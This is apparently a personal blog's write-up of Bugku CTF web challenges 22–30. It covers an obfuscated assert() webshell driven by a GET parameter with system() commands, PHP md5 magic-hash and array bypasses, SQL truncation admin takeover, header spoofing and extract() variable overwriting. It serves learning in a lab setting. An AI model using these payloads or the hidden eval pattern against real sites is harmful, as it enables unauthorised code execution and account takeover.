bugku2

web22

1
<?php $poc="a#s#s#e#r#t"; $poc_1=explode("#",$poc); $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; $poc_2($_GET['s']) ?>

这个explode(“a”,$b),以a为分隔,将b分割成一个个数组

还是比较无语的,这段话翻译过来就是:

1
2
3
<?php
assert($_GET['s']);
?>

接下来让我们康康这个assert()函数是干啥的

assert($assertion) — 检查一个断言是否为 FALSE
有一点和eval函数很像
它如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。
https://www.smi1e.top/%E6%B5%85%E8%B0%88eval%E5%92%8Cassert/

所以我们可以直接构造payload:
?s=指令接下来我们就康康有什么是可以查看目录下文件的指令获取更多信息吧

1.scandir() 列出指定路径中的文件和目录
这是一个array,所以要输出需要用print_r
2.直接使用system指令:
system(ls)
system(dir)
img
看到有两个文件,直接打开就行

web18

又要写亲爱的脚本了

1
2
3
4
5
6
7
8
9
10
11
import requests
s = requests.session()//建立连接
url='http://114.67.246.176:11655/'
headers = s.get(url).headers
req = s.get(url)//get数据
a = req.text[req.text.find('about')+5:req.text.find('=?')]//截取算式
print(a)//我的调试
aa = eval(a)//eval()函数和PHP的类似,可以直接将其中的当做代码运行,所以直接将算式得出
d = {'value':aa}//让post的值为aa
req = s.post(url,data=d)
print(req.text)
img 可能要多运行几次,应该这个数太大了然后就可以了

web23

这题是有一个正则表达式

1
2
3
4
5
6
 <?php 
highlight_file('2.php');$key='flag{********************************}';
$IM= preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i", trim($_GET["id"]), $match);
if( $IM ){
die('key is: '.$key);}
?>

也就是从我们输入的id当中,满足那个正则表达式才行
将正则表达式进行拆分:

正则表达学习

key:匹配key字符
.*:点是匹配除了换行符以外的任意字符,加了星号表示匹配多个正则表达式
key:再匹配一次key,
.{4,7}:匹配4-7次的任意字符(除换行符)
key:再匹配一次key
匹配普通字符:
/:匹配一次/
.:在任意匹配一个字符
/:在匹配一次/
(.*key)同上匹配,()只改变逻辑顺序
[a-z]匹配a-z任意一个字符
[:punct:]:特殊字符,在加一个中括号,就是在特殊字符中去一个
根据以上:
keyakeyaaaaakey:/a/akeyb@
然后就可以获得flag
img

web24

查看页面源码,发现有个code.txt,点进去,即可看到源码:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
if($v1 != $v2 && md5($v1) == md5($v2)){
if(!strcmp($v3, $flag)){
echo $flag;
}
}
}
?>

可以知道他需要我们传入3个值 且v1=v2 v3不等于flag。查询可以知道,如果两个类型不一样也会直接返回0,flag是字符串,所以我们构造一个字符数组,所以payload为:

1
?v1=QNKCDZO&v2=240610708&v3[]=f

web25

根据提示,这题需要的是hint:sql约束攻击,学习了一下什么是sql约束攻击:
参考:https://www.freebuf.com/articles/web/124537.html
总结一下就是,在一般情况下,SQL执行操作时,会将查询字符串末尾的空格一并删除,特殊情况看以上博客
当我们插入一个新数据,admin(很多空格)1,但是数据库有插入长度限制,比如说是10,那么我们插入的这个数据10位以后的数据将被舍弃,变成admin(5个空格),接下来执行select查询的时候,这个五个空格又会被自动忽略,查询的就是admin了

在本题中:
我先注册了一个admin(+3个空格)1的账号,发现后面的1没有被约束掉,所以继续增加空格数量,注册后
输入admin以及我们刚设的新密码,即可登录管理员帐号
img

web26

Referer: https://www.google.com

web27

好像是缺少了源码:
img
QNKCDZO的MD5加密:0e830400451993494058024219903391
让我们get一个a;

MD5碰撞

ctf中md5常见绕过

字符串0e:

PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
s878926199a  
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s155964671a
0e342768416822451524974117254469
s1184209335a
0e072485820392773389523109082030
s1665632922a
0e731198061491163073197128363787
s1502113478a
0e861580163291561247404381396064
s1836677006a
0e481036490867661113260034900752
s1091221200a
0e940624217856561557816327384675
s155964671a
0e342768416822451524974117254469
s1502113478a
0e861580163291561247404381396064
s155964671a
0e342768416822451524974117254469
s1665632922a
0e731198061491163073197128363787
s155964671a
0e342768416822451524974117254469
s1091221200a
0e940624217856561557816327384675
s1836677006a
0e481036490867661113260034900752
s1885207154a
0e509367213418206700842008763514
s532378020a
0e220463095855511507588041205815
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s214587387a
0e848240448830537924465865611904
s1502113478a
0e861580163291561247404381396064
s1091221200a
0e940624217856561557816327384675
s1665632922a
0e731198061491163073197128363787
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s1665632922a
0e731198061491163073197128363787
s878926199a
0e545993274517709034328855841020
数组绕过

当md5接受的参数为数组时,其值都为0,所以构造payload:

1
?a[]=1&b[]=2
真实碰撞

使用MD5快速碰撞软件

https://muouim.github.io/2019/01/30/MD5%E7%A2%B0%E6%92%9E/参考链接

web28

XFF伪造

跟前面有一题是一样的
payload:
burp抓包,然后添加,X-Forwarded-For:127.0.0.1

web29

这一关有源码,我们直接看源码了:
id就是输入margin
然后因为哈希一样,这里就尝试一下使用数组绕过了,可以成功
不过有个值要用post 发送数据

web30:

提示说txt,打开以后出现源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
extract($_GET);
if (!empty($ac))
{
$f = trim(file_get_contents($fn));
if ($ac === $f)
{
echo "<p>This is flag:" ." $flag</p>";
}
else
{
echo "<p>sorry!</p>";
}
}
?>

用了一个file_get_contents函数,意思是从文本中获取值,哪来的文本呢?想起来提示说txt文件,那文件名是啥,看了一下提示,说是flag.txt(果然猜就是神),那就直接但是似乎是,ac和fn的值都是要我们传的,这里有两种方法:
首先介绍一下:
方法一**:使用现成文件**
file_get_contents ( string $filename , bool $use_include_path = false , resource $context = ? , int $offset = -1 , int $maxlen = ? ) : string

这个filname是指文件名称:,也就说这边直接输入文件名就可以将文件内容以字符串的形式传入变量,所以
我们可以直接构造payload:
?ac=bugku&filename=flag.txt

方法二:用php://input构造文件

就行了

Author

vague huang

Posted on

2021-01-30

Updated on

2021-03-07

Licensed under

Comments